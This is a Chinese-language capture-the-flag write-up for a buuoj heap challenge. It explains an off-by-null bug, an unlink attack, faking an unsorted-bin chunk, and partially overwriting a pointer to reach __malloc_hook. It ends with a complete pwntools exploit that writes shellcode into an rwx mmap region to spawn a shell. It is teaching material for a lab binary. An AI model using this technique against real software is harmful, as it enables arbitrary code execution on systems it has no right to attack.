概略
这道题属于典型的菜单题,但是不提供show的功能,整个逻辑中,只存在一个off-by-null的漏洞。比较值得在意的是,程序的开始,利用mmap
分配了一块拥有可读可写可执行权限的内存区域,并将该区域的地址打印出来,同时程序调用alloc
功能的同时也会打印出了存放堆指针与size的数组。
程序开头泄露了数组的地址,即可以获得一个指针, 该指针指向堆上一块malloc出来的内存,外加上off-by-null的漏洞,自然而然的可以利用unlink攻击,使得bss段上的内存可控(任意写)。
由于没有提供show的功能,比较难泄露libc
的偏移,这里采用的利用是利用unsorted bin的头结点与尾节点的fd
与bk
存放着main_arena + 0x58
,而__malloc_hook
的地址为main_arena - 0x10
,因此想办法在bss
段中伪造一个unsorted bin的chunk并将其free, 会在bss
段中残留下一个main_arena + 0x58
的地址,再修改该地址的低位(程序载入偏移是页对齐的,也就是说main_arena
与__malloc_hook
地址的低12位是固定的),即可获得一个指向__malloc_hook
的指针,再利用fill功能在__malloc_hook
中填上开头获得的mmap
的地址,在mmap
内填充上shellcode
,最后调用malloc
即可get shell
二进制文件分析
buuoj 上说 靶机环境是ubuntu 18, 一般来说这个环境使用的libc
是2.27
关于libc
的讨论可以看下下面的博文,有挺大的帮助
mmap
程序在开头处,使用mmap
分配了一块0x1000大小,权限为rwx
的内存区域,并将其地址打印出来
alloc
根据读入的size分配相应大小的chunk, 再将返回的指针与size填入array数组,最后将array数组的地址打印出来(unlink利用)
delete
读取输入后,free掉相应的堆块,同时清空array数组中对应得项
fill
fill本身没有什么特别得,特别之处在于,其中用来读取输入得函数存在off-by-null得漏洞
至此,构造unlink漏洞得条件满足
解题思路
程序开头泄露了数组的地址,即可以获得一个指针, 该指针指向堆上一块malloc出来的内存,外加上off-by-null的漏洞,自然而然的可以利用unlink攻击,使得bss段上的内存可控(任意写)。
由于没有提供show的功能,比较难泄露libc
的偏移,这里采用的利用是利用unsorted bin的头结点与尾节点的fd
与bk
存放着main_arena + 0x58
,而__malloc_hook
的地址为main_arena - 0x10
,因此想办法在bss
段中伪造一个unsorted bin的chunk并将其free, 会在bss
段中残留下一个main_arena + 0x58
的地址,再修改该地址的低位(程序载入偏移是页对齐的,也就是说main_arena
与__malloc_hook
地址的低12位是固定的),即可获得一个指向__malloc_hook
的指针,再利用fill功能在__malloc_hook
中填上开头获得的mmap
的地址,在mmap
内填充上shellcode
,最后调用malloc
即可get shell
几个比较需要注意的点,由于libc
版本为2.27, 引入了tcache
机制,分配unsorted bin
时得chunk size
不宜过小,否则其free
后会进入tcache
构成单向链表,因此有两种方法,一个是申请较大得chunk size
(比如0x4F8) 或者申请7个chunk后free,填充满tcache
链表,之后free得相同大小得chunk会进入fastbin
或者unsorted bin
中
整体流程
-
申请3个0x4F8大小得
chunk
,在第一个chunk
内构造一个fake chunk
, 并且由于array
数组是存放在bss
段上的,而alloc
会返回array
数组得地址,因此可以计算出程序载入得偏移program_base
,fake chunk
得构造为payload = p64(0) + p64(0x4F1) + p64(program_base + 0x202068 -0x18) + p64(program_base + 0x202068 - 0x10) + p8(0)*0x4d0 + p64(0x4F0) fill(0,payload) delete(1)
删除
idx
为1
的chunk
,由于其PREV_INUSE
位为0,前一块为空闲块且两个块的大小位于unsorted bin
内,触发unlink此时使用
gdb
调试发现array
数组的idx
为1处的地址值已经变为了&array - 0x10
的地址 -
此时可以实现array数组内容的完全可控,再通过fill功能即可实现任意地址写,首先填入
mmap
的地址,然后再填入program_base +0x202068 + 0x38
的地址(即指向后续构造的fake_chunk
的区块空间),然后再在array
数组内构造一个位于unsorted bin
中的fake chunk
payload = p64(0)*2 + p64(0x4f8) + p64(program_base+0x202068 - 0x18) + p64(0x500) + p64(mmap_addr) payload += p64(0x500) + p64(program_base + 0x202068 + 0x38) fake_chunk = p64(0x20)+p64(0x91)+p64(0)*17+p64(0x21)*5 payload += fake_chunk fill(0,payload)
-
在
mmap
区域内填充shellcode
,delete掉fake chunkfill(0,payload) fill(1,asm(shellcraft.sh())) delete(2)
-
修改
main_arena+0x58
为main_arena + 0x10
即将其最后一字节改为0x30
payload = p64(0)*0xa + p64(400) + p8(0x30) fill(0,payload)
-
最后在
__malloc_hook
中填入mmap
的地址 并调用alloc
功能
exp
from pwn import *
def alloc(size):
sh.sendlineafter(b‘>> ‘,b‘1‘)
sh.sendlineafter(b‘: ‘,str(size).encode(‘utf-8‘))
a=sh.recvline()
addr = int(a[-13:-1],16)
return addr
def fill(idx,content):
sh.sendlineafter(b‘>> ‘,b‘3‘)
sh.sendlineafter(b‘: ‘,str(idx).encode(‘utf-8‘))
sh.sendlineafter(b‘: ‘,content)
def delete(idx):
sh.sendlineafter(b‘>> ‘,b‘2‘)
sh.sendlineafter(b‘: ‘,str(idx).encode(‘utf-8‘))
sh = process(‘./easy_heap_pwn‘)
context.arch = "amd64"
libc = ELF(‘./bc.so.6‘)
# sh = remote(‘node4.buuoj.cn‘,27589)
a=sh.recvline()
mmap_addr = int(a[-13:-1].decode(‘utf-8‘),16)
print(hex(mmap_addr))
#construct unlink
for i in range(7):
alloc(0x80)
for i in range(7):
delete(i)
program_base = alloc(0x4F8) - 0x202068 #0 unsorted bin
print(hex(program_base))
print(hex(program_base + 0x202060))
alloc(0x4F8) #1
alloc(0x4F8) #2
payload = p64(0) + p64(0x4F1) + p64(program_base + 0x202068 -0x18) + p64(program_base + 0x202068 - 0x10) + p8(0)*0x4d0 + p64(0x4F0)
fill(0,payload)
delete(1)
#construct fake chunk & fill mmap area & getshell
payload = p64(0)*2 + p64(0x4f8) + p64(program_base+0x202068 - 0x18) + p64(0x500) + p64(mmap_addr)
payload += p64(0x500) + p64(program_base + 0x202068 + 0x38)
fake_chunk = p64(0x20)+p64(0x91)+p64(0)*17+p64(0x21)*5
payload += fake_chunk
fill(0,payload)
fill(1,asm(shellcraft.sh()))
delete(2)
payload = p64(0)*0xa + p64(400) + p8(0x30)
fill(0,payload)
gdb.attach(sh)
# payload+=
fill(4,p64(mmap_addr))
# gdb.attach(sh)
sh.interactive()